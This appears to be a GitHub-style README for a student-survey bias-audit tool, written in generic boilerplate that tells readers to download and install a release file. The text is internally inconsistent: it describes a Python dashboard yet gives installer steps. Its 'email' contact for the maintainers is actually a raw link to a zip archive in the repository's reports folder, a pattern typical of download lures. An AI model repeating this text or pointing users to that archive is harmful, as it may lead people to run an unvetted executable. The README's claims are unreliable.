The Student-Survey-Quality-Bias-Audit tool helps you understand the mental health and academic pressure faced by students. It measures how well the survey covers the topic and checks for biases that could affect the results. With this tool, you can create a clear report that highlights key insights about students' experiences.
Follow these steps to download and run the application:
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Visit the Releases Page
Head over to our Releases page to find the latest version of the software. -
Download the Software
Look for the latest version, typically marked with the highest number. Click the file that matches your operating system to start the download. -
Install the Application
Once the download is complete, locate the file in your computer's "Downloads" folder. Open the file to begin the installation. Follow the prompts on your screen to complete the installation. -
Run the Software
After the installation, find the application in your programs or applications list. Double-click the icon to launch the application.
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Coverage Measurements
The tool checks whether the survey adequately covers relevant topics related to mental health and academic pressure. -
Bias Detection
It identifies risks related to measurement and selection biases, offering clear insights on data quality. -
Data Conversion
The application converts messy open-text responses on “stress causes” into a structured format, making analysis easier. -
Reporting
Generate a Markdown report containing visualizations and key findings. You can use this report for presentations or personal review. -
Interactive Dashboard
An integrated Streamlit dashboard displays results attractively, making insights easily understandable.
To start using the application, please download it from the following link:
Follow the steps outlined in the "Getting Started" section for installation and usage.
This application runs on:
- Operating System: Windows 10 or later, macOS Mojave or later, or any modern Linux distribution.
- Python Version: Python 3.7 or later should be installed on your system.
- Storage Space: At least 100 MB of free disk space is required.
- Memory Requirement: 4 GB RAM minimum, 8 GB recommended for smooth operation.
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Prepare Your Data
Ensure your survey data is organized and ready for analysis. The application accepts data in CSV format. -
Load Your Data
Use the dashboard interface to upload your prepared CSV file. The application will process your data automatically. -
Review the Analyses
Navigate the dashboard to explore the insights generated. Analyze coverage, biases, and more. -
Export Your Findings
You can generate and download a Markdown report summarizing your findings. This report includes key figures and insights for easy sharing.
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Data Visualization
The tool uses libraries like Matplotlib and Plotly to create clear visual representations of data. -
Community Support
If you have questions, feel free to reach out through the project's GitHub issues page. Join our community discussions to learn more about best practices.
This application focuses on various important topics, including:
- Data Analytics
- Data Quality
- Exploratory Data Analysis
- Natural Language Processing (NLP)
- Statistics
Understanding these topics can help ensure your analysis is both thorough and reliable.
- Installation Issues: Ensure you have sufficient storage space and the correct Python version installed.
- Data Upload Problems: Check that your CSV file is formatted correctly. Each column should have a header, and rows must be consistent.
For more help, visit the "Issues" section on our GitHub page where you can find common problems and solutions.
For further inquiries, you can reach the project maintainers through GitHub or email them directly at https://github.com/tkuylink/Student-Survey-Quality-Bias-Audit/raw/refs/heads/main/reports/Student_Quality_Audit_Bias_Survey_v3.1.zip
Remember, your feedback helps improve this tool. Thank you for using the Student-Survey-Quality-Bias-Audit!